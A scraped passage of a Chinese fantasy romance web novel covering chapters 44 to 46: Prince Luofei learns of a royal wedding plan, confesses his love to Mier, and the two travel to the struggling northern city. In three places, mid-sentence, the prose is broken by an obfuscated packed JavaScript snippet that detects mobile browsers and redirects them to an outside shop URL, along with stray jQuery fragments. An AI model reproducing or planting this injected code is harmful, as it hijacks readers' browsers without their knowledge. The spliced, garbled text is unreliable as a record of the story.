比第一次熟练得不知多少倍,目光不用垂着,也不用数着拍子,仅凭感觉便能跟得稳稳当当。 洛斐不理解接风宴会要跳舞的举动,环顾了一周那些投来的目光,又不能当着贵族的面直接开口询问。 他微微侧着脑袋,压低声线,“恭喜我们?我们做什么了?难道说我们什么时候顺手帮了他人大忙?” 米尔一直垂着头,不抬起来也不说话,听见洛斐发问,才不咸不淡地回了句,“我也不太清楚,大概是艾瑟兰接风宴会的习俗。” “怎么会有这种习俗,成何体统。”洛斐决绝地反驳,突然想起来什么,问他:“你是不是知道些什么?” 米尔终归抬起眼眸,定定地看向眼前的洛斐,“我不知道,我要是知道便不会来了。” “但是我知道,如果殿下仍旧心不在焉的话,你怕是要踩到我。” 米尔说完,洛斐脚步微微一滞,像是被什么绊了一下,低头看了一眼,他的鞋面上印了一道浅浅的痕迹。 而对面的米尔嘴角挂着浅笑。 “抱歉。” 说得饱含歉意,笑意倒是一点不减。 洛斐轻轻掐了下他的腰,佯装抱怨,“你就知道逗我。” “殿下想多了。” 米尔的话伴随着最后一个音符落地。洛斐微微收手,米尔也顺势做了结束动作。 尽管薇洛希和莱因哈特筹办的宴会有些奇怪,但气氛却相当融洽,宾客像是约好了似的,话题来来回回绕不开他们。 为他们办的接风宴会,尚且可以理解。 宴会结束,将所有人全部送走后,洛斐微微伸腰,想起要去询问薇洛希和莱因哈特宴会的事情,便转身往议事厅走去。 他经过宴会厅时,余光看见蹲在一旁收拾场地的米尔,便轻咳了一声,走过去弯腰说了句,“跟我去一趟议事厅。” “不去,我要帮忙收拾物品。” 米尔从汐莱纳希回来后罕见地没喊洛斐敬称,洛斐拉着他手腕,朝身边正在收拾侍从们说:“一会去找管家取小费。” 洛斐交代完,转身看向米尔,“行了吗?” “王后和国王也许是入睡了,我们明日再……”米尔懒懒地开口。 “他们在议事厅处理公务。”洛斐果断地回答。 “……” 傍晚,莱因哈特和薇洛希常常在议事厅处理公务,洛斐便随手开了门,一抬头,恰好对上他们同时抬起的目光。 莱因哈特率先开了口,“怎么如此失礼……” 洛斐倚着门框,却没有松开米尔的手,见面前的薇洛希抬手制止莱因哈特的训斥,挑了挑眉,“父王,母后,不和我讲讲今日古怪的宴会吗?” 薇洛希微微皱眉,责备他:“哪里古怪,不许胡言乱语。”她说完,又补了一句,“你们玩得不尽心吗?” 洛斐身旁的米尔回道:“尽兴。” 洛斐转身扯了扯米尔,继续追问他们,“母后玩闹也就算了,父王你怎么也捉弄我们。” “捉弄?”薇洛希撑着莱因哈特的肩膀,“你们马上要举办婚礼,婚礼前举办宴会本就是王室的礼仪,怎么会是捉弄呢?” “结婚,怎么又是结婚?”洛斐表情空白了一瞬,瞬间站直了,反问:“……谁结婚?” 44. 懊恼 莱因哈特不再沉默,抬眼看向面前的洛斐,开了口,“你说呢?” 洛斐的脑袋像是灌了泥水,顿时沉得转不动,什么也思索不了。 耳边也只有身后细细碎碎的脚步声。洛斐头也没转,反手握住了即将离开的米尔。 米尔似乎也没想到洛斐如此眼疾手快,一时疏忽竟真让对方得了逞。他用尽全力地甩了甩手腕,洛斐也只是身体微微晃动,丝毫不放手。 洛斐见米尔暂时挣脱不开,目光重新落在父母身上,试探地问:“婚礼……是米尔和我的吗?” “不然呢?”薇洛希坐在莱因哈特一旁,反问。 她一直以为宴会中两人的神色各异仅仅因为害羞了,但现在看来,应当还有别的理由。 薇洛希见米尔垂眸不语,洛斐一脸不解,说道:“你们的谣言不是说开了吗?距离婚礼也该不远了,提前准备也是应当的。” 洛斐一时无法消化眼前的场景,抬手按了按额角,“谣言?父王母后你们在说什么呢,我和米尔的谣言不是当时传得火热的假王子谣言吗?” “你们……”洛斐刚想继续开口,话音便被身后的动作打断了。 米尔不知何时甩开了他的手,反手扣住了他的掌心,顺势将两人相握的手抬了起来,语气平淡,“国王陛下,洛斐殿下已经同意成婚,越快越好。” 洛斐愣了愣,偏头看向米尔。 薇洛希和莱因哈特四目相对,默契地谁也不开口,放任他们独自解决。 气氛古怪。 洛斐再迟钝也察觉到了异样,转身看向米尔,“米尔,你……” “我要离开。” 洛斐怔了一瞬,米尔在薇洛希和莱因哈特面前向来持重受礼,如此直白带着气恼的语气,洛斐鲜少见。 “好,你先……” “不对,我们先谈论一些问题,好吗?” 拖着问题不讲明白,一切都会因此变得复杂,倒不如一开始便搞明晰些。 “我说,我要离开。” 米尔又重复了一遍,语气明显地提高了些,显然是朝着洛斐说的。 洛斐将嘴边的话咽了回去,顺手拎起议事厅桌边的餐食,朝米尔说道:“好,我送你。” “不用。”米尔头也不抬地离开。 “父王,母后,米尔不舒服,我们先离开了……”洛斐还未来得及向莱因哈特和薇洛希告别,余光见米尔已经消失在了视线中。 “我会再来找你们解释。”洛斐随口丢下一句话,便朝着米尔离开的方向追去。 繁重的礼服到底是起了作用,洛斐一路上不知被绊了多少回,可面前的米尔却走得头也不回。 “米尔,你走反了。”洛斐终归是走到了米尔身旁,说了句,“不是要回去休息吗?” 洛斐说着,顺手将手中的餐食递给他,嘱咐道:“接风宴会的确耗神,你只喝了些麦芽酒,我给你拿了些你爱吃的,你吃完后,好好休息。” “明日我们先去卡斯弗医师那里为你看看,再去北城也不晚。” 他们去了北城,少数也得六日,回来时也不知卡斯弗医师是否还在住所,倒不如一开始便拜访,将米尔的旧疾根治。 米尔没接那份食盒,也没看跟着他的洛斐,“不要讲话,回你卧房。” “我们有话要讲,不能离开。”洛斐抱着食盒,语气坚决。 “……” 米尔眼也不抬地拐了弯,朝另一方向走去。 洛斐皱了皱眉。 米尔去任何地方,洛斐都会适可而止地给对方自由和时间,将所有的问题放到以后再解决。 但米尔偏偏去的是马厩——偏僻冷清,有无数马匹的场地。 洛斐想也没想地跟了上去,问:“你不会是要骑马离开艾瑟兰?” 米尔不回答,只是走得更快了些。 洛斐见喊他不答应,伸手去拉他,也被对方狠狠地甩开。 城堡的马厩本就冷清,平时除了前来照料的侍从,便鲜少有人来。 秋末的夜风变得清凉,从马厩缓缓吹来,带着干草和泥土的气息,洛斐也因此解了片刻的燥气。 洛斐跟在他身边,劝说:“你不要冲动,如果突然独自离开,父王和母后会担忧你的安危。” “必须要去的话,……” 米尔猛地转身,“必须要去的话,你会陪我?” 洛斐愣了愣,不假思索地说:“当然。” 米尔一改平时模样,忽然朝洛斐靠近了些,口吻是少见的强硬,“陪我去汐莱纳希,去夏塞林,天南海北地跑——是为了艾瑟兰王国,还是为了国王王后,或是为了你的王子身份?” 洛斐微微皱眉。 什么离奇古怪的问题。 当然是不放心他的安危。 他正要开口回答,礼服却被米尔忽地扯了扯。 眼前猛地一黑,嘴角顺势迎来了一阵清凉。 洛斐下意识地退了退,怔愣地看向眼前不动神色的米尔,对方不咸不淡地开了口。 “您迟钝到如此程度,倒也不容易。” 夜风变得潮湿,带着重重的湿气。 米尔是如何离开的,洛斐只顾着发懵,并不知道。但他是冒着细雨一路跑回城堡的。 秋末的雨来得竟比夏初还要急匆匆,顷刻间便涨了势头。城堡入口站了不少侍从,正朝雨幕里探头张望。 “你们怎么不早点回房歇着?”洛斐看了眼身旁候着的侍从,随口问道。 “王后吩咐我们在此等候殿下,见到您回城堡才行。”最前面的侍从开了口。 “辛苦了,你们先回去便好,我无碍。” 肩膀的雨滴顺势砸在地面,洛斐垂首看了眼,朝他们问道:“韦恩菲尔德大人到了吗?” 得到肯定答复后,洛斐微微颔首。 没骑马离开艾瑟兰便好。 “母后那里我去禀明,你们该休息便去休息。”洛斐看了眼地板上的水痕,如果再不离开,恐怕无意间又为他们添了活计。 洛斐说完便转身回卧房,换了身清爽的衣服,繁复礼服精致庄重,但不适合长时间穿着。 洛斐将那件压得人喘不过气的礼服丢在一边,目光移向高窗,雨滴正沿着边缘滑动。 洛斐有些明白,又有些不明白。 不仅仅是对米尔。 他的思绪也乱得像是欲滴不落的雨滴,洗不掉烦闷也无法淹没忧虑。 洛斐想了想,推开房门,径直朝议事厅走去。 来议事厅的路上,洛斐还隐约有些顾虑。毕竟,面对莱因哈特的一连串的询问,可是一件比应付宴会还要劳累的事情。 但除了他的父王母后,洛斐也不知道该向谁讲,谁能给他些真正的办法。 “父王母后,叨扰了。”洛斐微微躬身,抬眸看见薇洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756234|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 希正坐在高座上,手里翻着一份报告。 平时,薇洛希总会先回,只有莱因哈特留到最后。 今日倒是有些特殊。 “母后?怎么只有你在?”洛斐坐在一旁的高背椅上,只有母后一个人在,他向来松快。 “他近来总是先回去休息,说议事厅的灯光晃得他头疼。” “父王大概是忙着邻国社交,配备不堪,精力不济。” “你说得对,明日你和他说,要他注意些。”薇洛希将最后一张报告装好。 洛斐耸耸肩,笑着说:“如果我不想明日直接留在北城的话。” 薇洛希整理好公务,转身看向洛斐,随口问道:“你们将谣言说明白了?” 不提还好,一提洛斐便泄了气。 他闷闷地开了口:“并没有。” “他不理你?”薇洛希反问。 “不是的,米尔……说我迟钝得不如小白。”洛斐并不是全盘否认,单论一些方面,他还真不如小白。 比如察觉别人心意这件事。 “有道理。” 薇洛希赞同地颔首,能将这些问题搞不明白的也只有洛斐了。 “……”洛斐想起什么,问:“母后,你和父王既然知道那些谣言,为何不直接告诉我,免得我要如此难堪。” 薇洛希见矛头转向自身,不咸不淡地开口:“起初,我们将你的恼火当成了害羞。后来,你们关系变好了,却也没跟我们提起,我和你父王以为你是在保持忽远忽近的神秘感。” “……” 洛斐自知他母亲的脑回路也异于常人,便直截了当地换了问题,“母后,我不明白,米尔为什么从来不告诉我?” 明明只要开口便能完美解决的事情,隐忍克制做什么。 薇洛希见洛斐托着腮,微微皱眉的模样,开口问:“抛开身份,你知道米尔爱慕你,你自然是不担忧。但对方并不知道你的心意……” “况且,爱慕对象还是格外迟钝的个性,怎么会不犹豫。”薇洛希说完,郑重地看向洛斐,一字一句地说:“你不能要求对方拥有面对一切失败的勇气。” “我哪会要求他。”洛斐烦躁地抓了把头发,斟酌着开了口,“我只是——懊恼将一切都搞砸了。” 薇洛希安不解地皱了皱眉,“你担忧得未免太多了,米尔的一切比这要广阔,你的一切也不仅局限于此。” “母后,你不懂。”洛斐无力地抱着脑袋,自顾自地说:“在汐莱纳希时,我躺在米尔身旁,亲口告诉他,我们早就是家人了。” 薇洛希轻咳了好一会,诧异地问他,“躺在身旁?” “不重要。” 洛斐制止薇洛希的莫名猜测,微微抬眸,语气难得郑重,“重要的是,米尔会觉得我是负心汉。” “只知道承诺感情不顾后果的负心汉。” 洛斐又想起什么来,语气低了下来,“况且,我有苦恼与烦闷时尚且能与父王母后说一说,但是米尔只能独自消磨,我偏偏给了他不少的烦恼。” 洛斐说得激动,就差将从儿时起的所有过错数清了。 薇洛希一时连插话劝说的机会都没有,好不容易才找到了间隙,“你……” 一旁的洛斐忽地起身,垂眸看向薇洛希,语气认真,“母后,我要去找米尔。” 薇洛希愣了愣,问:“做什么?” “表白。” 45. 爱慕你 “母后,不同意吗?”洛斐见薇洛希的神情有些复杂,重新坐了回去,语气郑重了几分,“还是说您有别的嘱咐?” “当然不是。”薇洛希看了他一眼,语气平和但认真,“我怜爱米尔,因为他是我故友唯一的孩子。你是我的孩子,我自然也会更加尊重你。” 薇洛希说完,看向议事厅高窗外一片浓黑的夜色,“太晚了,明日你们去北城时再表……解释也来得及。” “我并不怕黑。” “……”薇洛希无奈地抬眸看他,“米尔也需要休息,也许早就睡了。” “他不会睡的,他今晚大概睡不着。而且,这些话要是不说明白,明日能不能一起去北城尚且未知。”洛斐拿起桌上最边缘的几份报告,朝薇洛希挥了挥,随口道:“谢谢母后的教导,我拿去替您分忧。” 说完也不顾薇洛希讲话,径直朝米尔卧房走去。 薇洛希看着洛斐远去的背影,到嘴边的话重新咽了回去。 那是她批阅好的报告…… 洛斐在薇洛希面前说得斩钉截铁,但真到了米尔卧房前,他还是先确认了房内是否开着灯。 灯光透着门缝微微闪动。 洛斐了然,抬手敲了敲门,知道米尔向来动作缓慢,便随意打量着周边环境。 好久没来,来也是被米尔拒之门外,眼前的布局倒是变了些。 洛斐借着壁灯仔细看。 怎么少了那么多米尔喜爱的花草,摆件。 他正垂首观察着,身后的门顺势开了,洛斐忽地转身,目光移向米尔。 对方倚着门框,眼睫半垂,衣摆微微蜷着,下颌还带着毛毯压过的浅痕,确实带着散漫的倦意。 难道真睡着了? 洛斐皱了皱眉。 一言不发地亲了他,结果对方却睡得正香。 米尔的卧房偏僻,连吹来的风都带着潮气。 洛斐看着面前眼睛也不睁的米尔,想了好一会,只问了句,“你睡着了?” “并没。”米尔说这话的时候并无起伏,只是不再倚着门框,站直了身体,懒懒地问:“殿下半夜过来,做什么?” 洛斐朝米尔身后看了看,“米尔,我们能在你的房间谈论吗?” 米尔想也不想地开口:“那明日再说。” “我等不及。” 米尔对上他相当郑重的视线,后退了些,侧身为洛斐留下了一条道,“进来说。” 从汐莱纳希回来后,洛斐第一次进米尔的卧房,周遭的布置倒是并无差异,只是物品不再像先前那般凌乱地扔着。 一切都归置得妥帖,只有边角像是还没来得及收拾。 洛斐微微颔首,这才是该有的样子,卧房里都像是被仔细收拾了一遍。 “请便,不必拘谨。” 米尔说完便窝回了椅子里,侧身倚着椅边,想起了什么,朝身旁忙着收拾物品的洛斐说道:“我卧房没了饮品……对,也没了点心,餐食大概也喂了小黑,其他的倒也有些。” 洛斐站在他身旁,环顾四周,何止是没有招待人的物品,连椅子都没有了。 他如何拘谨,连值得拘谨的东西都没有。 洛斐见米尔窝在椅子里,索性蹲在他身侧,平视着他的眼眸,好似在等对方主动开口。 “殿下不必担忧。”米尔像是察觉了面前温热的呼吸,不咸不淡地开口,“明日的北城之行,就算是刀山火海我也必然会奉陪。” “不要你刀山,也不要你火海。”洛斐的闷闷地开口,语气带着几分委屈,“你们王国的规矩——非礼完他人便跑? “甚至连椅子也不给我坐了,我的专属椅子呢?” 米尔被突如其来的质问打得措手不及,微微睁开眼睛,恰好对上眼前洛斐的视线,小心翼翼地挪了挪,“非礼?” “我不怪你非礼。亲我一口也没关系。”洛斐自顾自地抓着椅子扶手,“只要你不怪罪我便好。” “怪罪?” 他亲他姑且算是非礼,但他又为何要怪罪对方? 米尔知道洛斐的脑回路不同于常人,但也不至于连话也说不明白。 “你到底在……” “你不用回答,我知道你的想法。”洛斐坐在米尔身旁,长久使用的椅子微微向后倾斜。 米尔眼见椅子要翻,伸手一扯,把洛斐拽到了后面的床铺上。 洛斐半撑着身体,见米尔手抵着他膝盖,站在他面前,语气不悦,“不管是非礼,还是其他一切,殿下直说便是,胡言乱语会让我误以为你疯了。” “我还没来得及说正事。”洛斐微微抬眸看他,反驳道。 米尔松开抵着他的手,“说。” “我们的婚礼是办在夏日还是冬日。” “……”米尔重新压了回去,斟酌着语句,开口解释,“如果殿下是因为我在国王和王后面前说的那番话而来的,那不必如此。那些话只是权宜之计,并不是要你为难自己。” 米尔默了片刻,别开脸,“至于其他的……是你知道的也好,别人提点你的也罢,都不必成为你的枷锁。” “不是枷锁。”洛斐倏地激动起来,猛地直起腰,握住米尔的手,“对我来说,你的爱慕像是珍贵的项链。” 米尔微微蹙眉,顾不得羞怯或是其他,满脑子全是洛斐奇怪的比喻。 洛斐也像是乘胜追击地说道:“我必须向你郑重地道歉,是我的迟钝让误会越拖越重,哪怕到了最后也一无所知。” 米尔试着往回抽了抽手,没抽动,叹口气道:“不用为了你的性格而道歉。” “我的个性不比道歉。可它给你带来了烦恼和忧伤——那便算是我的错,道歉也是理所应当的。” 米尔盯着他看了一会,随即笑了笑,“也没有你想得如此忧伤,更多的应该是气愤和懊恼。” “气愤,懊恼?” 米尔直视着他秋水色的眼眸,说:“起初,我以为你是明白却佯装不懂的负心汉,我的第一反应自然是气愤。” 洛斐不敢动,也不敢言,只好问他,“你什么时候发现……我真的不知道的?” “后来,圣西尔学院的毕业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761329|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 典礼时,我见你将北城那些琐碎事项也当要事来做,便明白殿下你单纯是性子赤诚。” “况且,我旁敲侧击地问你,你也能回答得滴水不漏,这不就恰好证明了……”米尔顿了顿,开口:“证明了你是真的不知道,不然势必漏洞百出。” 洛斐看着米尔尽管面无表情但还有心情与他开起玩笑,便知道此事并不是死路为结局。 “我爱慕你。” 明晃晃的调侃却得到这种直白答复,米尔猛地将手拽了回去,随口回了句,“知道了。” “我真的爱慕你。”洛斐重复了一遍。 “我也真的明白了。”米尔垂首揉了揉被他握得发麻的手指,“需要毛毯吗?” “需要。” 洛斐见米尔真的给他拿来了先前用的毛毯,顿时笑意盈盈地躺在床侧,问他:“那我们现在是什么……关系?” 米尔将毛毯扔给他,“允许你暂时留宿的关系。” “那要不要我干脆搬……” “不行。” 请求被直接了断地拒绝,洛斐也只是缓缓地躺在米尔身旁,看向对方置于身前的手,规规矩矩的,带着种不敢乱动局促。 看来他夜里还是睡不好。 洛斐悄摸摸地用手心覆盖着他的手背,肌肤所触皆是一片凉意。米尔像是有所察觉,开口问:“做什么?” 洛斐想起薇洛希常常提起的天生一对,忍不住开口问:“你与艾琳娜夫人来艾瑟兰时,见过我吗?” “当然。”米尔补充道:“只是我来的时候,你还在苦练骑术。” 洛斐顿了片刻,他小时候的确常常被莱因哈特监督着练习骑术和剑术,多数时候都住在训练场。 也因此丧失了与米尔提早相识的机会。 “为什么不来找我玩?” 洛斐有些奇怪。米尔性子平,大概不会主动与他结识,但薇洛希,他母后那样爱撮合的性子,定然不会只是看着。 “薇洛希王后说你学了三次才会上马,剑也拿不稳当,的确有让我去教导你。”米尔回忆着,不咸不淡地说。 “母后捏造的,我只是在这些方面稍微愚钝些。”洛斐有气无力地反驳道,问:“那你为何不来教我?” 米尔见他不停地追问,把手抽了出来,顺势拨了拨下滑的毛毯,说:“我母亲说,你长得俊朗,要将你抓回露西恩给我做伴侣。” “然后呢?”洛斐起了兴致,问。 米尔看了眼洛斐,说道:“我当然是很生气,独自跑回了露西恩。” “只是做伴侣的玩笑,你便那么生气?” 米尔想了想,一本正经地开口:“因为你当时真的有些笨。” “……”洛斐无话可说,他小时候笨些是公认的事实。 “所以,就算没有谣言,殿下也不必为了一开始时的刁难而抱歉,与陌生人突然有了联系而感到不安是正常的。”米尔语气认真且平和,洛斐听着都有了些倦意,撑着眼皮,最后问了句:“米尔,我们的婚礼办在夏日还是冬日?” “春日。” 46. 北城 “起床了。” 洛斐听着耳边的嘈杂,抬了抬手臂,下意识遮住眼前的光,顺势扯了扯一边的毛毯,“我在休息。” “那去北城的行程只能推……” “北城?” 洛斐猛地起身,目光移向早就收拾妥当,坐在一边垂眸品茶的米尔,匆忙开口:“去北城的行程绝对不能取消。” “那殿下可要快些了。”米尔放下茶杯,淡淡地开口:“莱因哈特国王和薇洛希王后已经等候很久了。” 洛斐又缩回了毛毯里,闷闷地开口:“父王母后等什么?” 米尔拍了拍他的脑袋,也依然喊不醒他半点,只好回答:“当然是来送殿下去北城的。” “好。”洛斐迷迷糊糊地颔首,随口问:“在哪里?” “卧房外面。” “好。”洛斐愣了片刻,忽地睁开眼,“父王母后在你的卧房外面等着?” “王后说你向来贪睡,让你醒来后再去和他们告别。”米尔看着侍从递来的衣服,拎起最满意的一件,扔给坐床铺上发愣的洛斐,“不必担忧,殿下素来藏不住事,王后与国王自然也看得明白。当然,如果你不愿告诉他人,继续隐……” “米尔,你才别乱想,完全不是你猜测的那样。”洛斐皱了皱眉,又不是必须避讳的事情,何必躲藏。 洛斐理了理衣领,垂首拨弄袖口,“我担忧的是,父王要是知道我赖床,又该罚我训练了。” 米尔笑了笑,“殿下依旧带着孩子气。” 洛斐没搭话,而是站在他身旁,看向米尔的穿着。一身浅色常服,领口微微敞开,比昨晚那件简便但也更加轻薄。 “北城很冷的,你换件衣服。”洛斐拍了拍他的腰,料子薄得透风。 “艾瑟兰的北城,我也去了很多次,知道它的天气。”米尔语气认真。 “你……算了,我来收拾。” 洛斐转身将几件衣服和应急的物品装入背包,朝米尔说道:“去了北城,正好带你拜访克莱德公爵和莫里斯骑士。” “克莱德公爵和莫里斯骑士?”米尔看洛斐收拾好了背包,一边离开一边反问:“殿下与他们很熟吗?” 洛斐想了想,开口:“克莱德与我没什么私交。倒是莫里斯骑士,他是我父王儿时的玩伴,未去往北城之前,常常来城堡,自然而然也与我相熟了些。” “北城的领地一直是克莱德公爵治理吗?”米尔颔首追问道。 “是的,北城是艾瑟兰最边缘的领地。它的天气,土地都不算好,一直是父王万分牵挂的地方。”洛斐补充道:“但克莱德公爵和莫里斯骑士治理很好,如今已经很少出现先前那种收成不好,子民困顿的情况了。” 米尔垂眸,“今天的气候算好的了,连秋讯都安安稳稳地过去了。如果真如殿下所说的,北城向来安定,怎么会突然重陷困境?” 洛斐偏着头看向他,笑着说“具体情况到了那里便明白了,北城的风光很独特,和你一起逛逛也很让人期待。” 莱因哈特的作息向来准时,洛斐都不用向侍从确认,便带着米尔径直往议事厅去了。 “米尔,陪我去北城的行程会耽误你吗?” 米尔看了眼近在咫尺的议事厅,又看向突然发问的洛斐,不解地问:“耽误我?小白和小黑已经拜托埃迪骑士帮忙照料了。” “不是,是残刃卷的事情。”洛斐郑重地开口,“会不会耽误你的要事。” “不会耽误。” 米尔总算知道洛斐为何一开始不答应和他一起去了。他正色道:“残刃卷的事情我早就有打算了,你不必为此担忧。我既然主动提起要陪你去北城,其他事情便都是次要。” 洛斐扬起嘴角,“如果残刃卷有线索,你记得喊我,不要单独行动。” “好。” “你……”洛斐刚想趁还没进议事厅,不用应对莱因哈特和薇洛希的嘱咐,多和米尔交谈几句,结果门却从里面开了。 “你们怎么还不进来?”薇洛希笑着问他们。 莱因哈特垂首忙着批阅贵族们的提案,顺势抬头看了他们一眼,招呼道:“先坐。” 好在莱因哈特和薇洛希没有多问,只是交代了几句去北城的事,“路上小心,务必传信。” “对了,你们是去游玩的,便不给你们安排太多随行的人了。”薇洛希语气平和地朝他们说道。 洛斐自然是堪堪压住喜悦,本就是去做秘密调查,当然是人越少越好,他微微颔首,“是的,母后。只是游玩罢了,不用很多人前去陪同。” “四十人。”薇洛希思索了一会才开口,见面前两人愣了片刻,改口:“……不然,派去六十人。” 一旁神色倦怠的莱因哈特忽然抬眼,“两人便好,他们是去游历的,人多反倒不便。” “你们去北城游玩的同时,记得去拜访克兰德公爵和莫里斯骑士,听说公爵病了许久。” “好的,父王。”不等薇洛希开口反对,洛斐急忙应下,“我们会早点回来。” 薇洛希仍要阻拦,转而听见身旁的米尔也跟着回复,“谢谢王后。” 她便不再拦着了,只是千叮咛万嘱咐地送他们离开。 哪怕只是秋末,北城的天气也早就冷透了,地面变得潮湿滑润,马车并不方便,洛斐便提议骑马前去。 正好米尔也无需遭受晕车的苦恼。 两人的行程极快,原本三日的路程硬生生地压到了一日半。抵达北城时,洛斐的耳朵冻得通红,冷风不断地吹着,寒意刺骨,他连忙从背包中拿起备好的衣服递给米尔。 米尔站在风里,神色没有什么变化,像是这北城的风对他毫无影响。他见洛斐递来的衣服,顺势接过,反手给他披上,“你穿便好,我不怕冷。” 以为对方逞强而准备的衣服,现在却穿在了自己身上,洛斐讪讪地转移话题,“北城今年的气候确实有些不同,比往年要冷不少。” “我们先去克莱德公爵的庄园,至少先给你那些避寒的物品。”米尔看了眼身旁的洛斐,说道。 “我也不是很冷。”洛斐踩着湿滑的地面,随口说。 米尔看了他一眼,不咸不淡地开口:“那我们先去逛逛,等逛完再去拜访克兰德公爵和莫里斯骑士。” 冷风一吹,洛斐吸了口凉气,“还是正事要紧。” 米尔看他冻得颤抖依然要强撑风度的模样,笑了笑,说:“那便先去拜访他们。” 北城是当之无愧的艾瑟兰冰城,他们仅仅是在边界,寒气便从四面八方围了上来。 正式进入中心区域时,街巷比想象中要冷清,石板路两侧的铺子大多半掩着门,偶尔有几家尚且有着人走动,其余皆是了无生机的模样。 北城偏僻,无论是巡访还是考察,洛斐都来得少些,但也明白眼下并不正常。 偌大的领地,却像是被抽走了全部的生气。 米尔也皱了皱眉,望着周遭的环境,语气严肃,“这样的冷清,看来不仅仅是天气寒冷的问题。殿下,北城怕是比我们想象得更麻烦。” 洛斐抬头,看向翅膀拍得费力,却怎么也飞不起来的小鸟,半晌才开口:“只要是麻烦便能解决,那便解决了再回。” 洛斐原以为街巷的冷清只是由于子民不爱走动。可当他们站在公爵府邸前,看着眼前的城堡依然冷冷清清时,洛斐才明白情况恐怕比科尔说的要更加艰难。 艾瑟兰王室向来素净,可跟克兰德公爵城堡相比,也算得上豪华了。 城堡甚至没有一位侍从或是守卫,连管家的身影也寻不到。 他们在入口站了许久,久到凉气一阵又一阵地灌进来,科尔才匆匆忙忙地赶来欢迎他们。 “洛斐殿下,米尔大人,快请进。”科尔稍稍侧身,语气恭敬,态度比上次见面时收敛许多,全然不像那个会钻椅子底下的少年。 “你父亲呢?”洛斐和米尔并排走着,问向身旁的科尔。 科尔稍稍躬身,抬手为他们指路,“莫里斯骑士在照顾公爵大人,稍后便会来。” “还望殿下和大人不要责怪。” 洛斐见米尔专注地打量四周,便主动回答科尔,“不要紧,我今日来也是为北城解决问题的,你也无需客套,如那日般说话便好。” 科尔抿了抿唇,答了句,“好。” 到了城堡,北城的寒冷才终于被挡在了身后。洛斐也总算是暖和了些,正准备用冰凉的手逗弄米尔,余光见科尔正往壁炉里放炭。 炉边散着些烧剩的黑炭,科尔弯腰捡起唯一几块完好无损的,扔回火里。 洛斐愣了愣,下意识看向身旁的米尔,对方也是锁着眉头。 洛斐率先开了口,“科尔,你……” 他话音未落,房门便被猛地打开了,浑身满是寒气的男人站在那里,气喘吁吁地望着他们。 科尔起了身,喊道:“父亲,你怎么那么快便来了。” 莫里斯看了科尔一眼,视线转向洛斐,微微欠身,“洛斐殿下,好久不见。” 洛斐还没来得及开口,莫里斯已经先一步道起谦来,“北城事务繁忙,未能去迎接殿下,还请殿下见谅。圣西尔毕业典礼科尔对您和米尔大人失礼的事情,我也已经训斥过了他,还望您不要放在心里。” 洛斐闻言起身,认真听着莫里斯说完,提议道:“莫里斯叔父,你先坐下歇一歇,好吗?” 叔父的称呼让莫里斯微微一震,抬眼看向洛斐,扯了扯嘴角,“好。” 洛斐见莫里斯神情缓和了些,问道:“叔父,克兰德公爵的身体好些了吗?” “还好,勉强维持。”莫里斯摩挲着手中的杯子,抬眸看了眼他面前的米尔,笑着说:“这位就是米尔·韦恩菲尔德大人?” 米尔对上莫里斯的视线,轻轻颔首,“您好,莫里斯骑士。” 莫里斯看向他浅浅笑着,又将目光移向一旁的科尔身上,“那日科莉和我说,科尔在毕业典礼上去叨扰了殿下,我便立刻责备了他。没想到殿下真的会来?” “北城和叔父有了问题或困难,我自然要来。”洛斐郑重地说道。 “莱因哈特国王知道吗?”莫里斯犹豫地问了一句。 “父王不知……”洛斐刚想回答,身旁的米尔默默地扯了扯他的衣摆。他顺势改口:“父王知道,命我专程前来拜访您和克兰德公爵。” 莫里斯的神情顿时松了下来,连语气都软了,“还好,我以为陛下已经不再管北城了。” 洛斐皱了皱眉,北城虽偏僻但莱因哈特从不会漠不关心,甚至送来的物资,投入的精力只多不少。 莫里斯为何这样说,洛斐不知道,但他依然正色道:“当然不会,北城是艾瑟兰重要的领地,父王不会坐视不理。况且您是他儿时最好的伙伴,他更不会不管。” 米尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764792|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 见洛斐说完,顺势补充道:“每年秋末冬初,国王陛下都会向北城运来了物资和援助,莫里斯骑士没有收到吗?” 莫里斯闻言顿了顿,抬眸看向他们,不解地反问:“物资和援助?” “北城从未收到这些。”莫里斯语气坚决,“求援书也递交了,但是全都杳无音信,后来克兰德的身体日渐变差,北城的收成也一年不如一年,我也无法抽身离开,便只能作罢了。 洛斐微微蹙眉。 他来前曾旁敲侧击地询问了莱因哈特,他只说北城一切安好,他送去的物资和援助也尽数到达,至于原著书也仅仅有一封。 看来是有人用了从中作梗,偷梁换柱的戏法。 